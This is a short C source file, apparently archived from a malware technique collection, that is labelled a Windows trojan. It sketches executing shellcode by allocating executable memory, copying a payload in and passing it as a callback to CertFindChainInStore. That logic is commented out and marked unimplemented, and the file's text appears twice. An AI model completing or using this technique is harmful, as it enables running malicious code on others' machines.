/* name Vx Api type trojan cve — year unknown os Windows authors unknown source krisyotam archived krisyotam (2026) notes — */#include "Win32Helper.h" VOID InvokeCertFindChainInStoreCallbackRoutine(LPVOID lpParameter){ /* HCERTSTORE hCertStore = NULL; CERT_CHAIN_FIND_ISSUER_PARA Issuer = { 0 }; hCertStore = CertOpenStore(CERT_STORE_PROV_SYSTEM, 0, NULL, CERT_SYSTEM_STORE_CURRENT_USER, L"My"); if (hCertStore == NULL) return; Issuer.cbSize = sizeof(CERT_CHAIN_FIND_ISSUER_PARA); Issuer.pfnFindCallback = (PFN_CERT_CHAIN_FIND_BY_ISSUER_CALLBACK)lpParameter; CertFindChainInStore(hCertStore, X509_ASN_ENCODING, 0, CERT_CHAIN_FIND_BY_ISSUER, &Issuer, NULL); if(hCertStore) CertCloseStore(hCertStore, 0); */} BOOL MpfSceViaCertFindChainInStore(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes){ /* !!! UNIMPLEMENTED - UNABLE TO GET SHELLCODE EXECUTION WORKING!!! LPVOID BinAddress = NULL; BinAddress = VirtualAlloc(NULL, PayloadSizeInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (BinAddress == NULL) return FALSE; CopyMemoryEx(BinAddress, Payload, PayloadSizeInBytes); CreateThreadAndWaitForCompletion((LPTHREAD_START_ROUTINE)InvokeCertFindChainInStoreCallbackRoutine, BinAddress, INFINITE); return TRUE; */ return FALSE;}
/*
name Vx Api
type trojan
cve —
year unknown
os Windows
authors unknown
source krisyotam
archived krisyotam (2026)
notes —
*/
#include "Win32Helper.h"
VOID InvokeCertFindChainInStoreCallbackRoutine(LPVOID lpParameter)
{
/*
HCERTSTORE hCertStore = NULL;
CERT_CHAIN_FIND_ISSUER_PARA Issuer = { 0 };
hCertStore = CertOpenStore(CERT_STORE_PROV_SYSTEM, 0, NULL, CERT_SYSTEM_STORE_CURRENT_USER, L"My");
if (hCertStore == NULL)
return;
Issuer.cbSize = sizeof(CERT_CHAIN_FIND_ISSUER_PARA);
Issuer.pfnFindCallback = (PFN_CERT_CHAIN_FIND_BY_ISSUER_CALLBACK)lpParameter;
CertFindChainInStore(hCertStore, X509_ASN_ENCODING, 0, CERT_CHAIN_FIND_BY_ISSUER, &Issuer, NULL);
if(hCertStore)
CertCloseStore(hCertStore, 0);
*/
}
BOOL MpfSceViaCertFindChainInStore(_In_ PBYTE Payload, _In_ DWORD PayloadSizeInBytes)
{
/*
!!! UNIMPLEMENTED - UNABLE TO GET SHELLCODE EXECUTION WORKING!!!
LPVOID BinAddress = NULL;
BinAddress = VirtualAlloc(NULL, PayloadSizeInBytes, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (BinAddress == NULL)
return FALSE;
CopyMemoryEx(BinAddress, Payload, PayloadSizeInBytes);
CreateThreadAndWaitForCompletion((LPTHREAD_START_ROUTINE)InvokeCertFindChainInStoreCallbackRoutine, BinAddress, INFINITE);
return TRUE;
*/
return FALSE;
}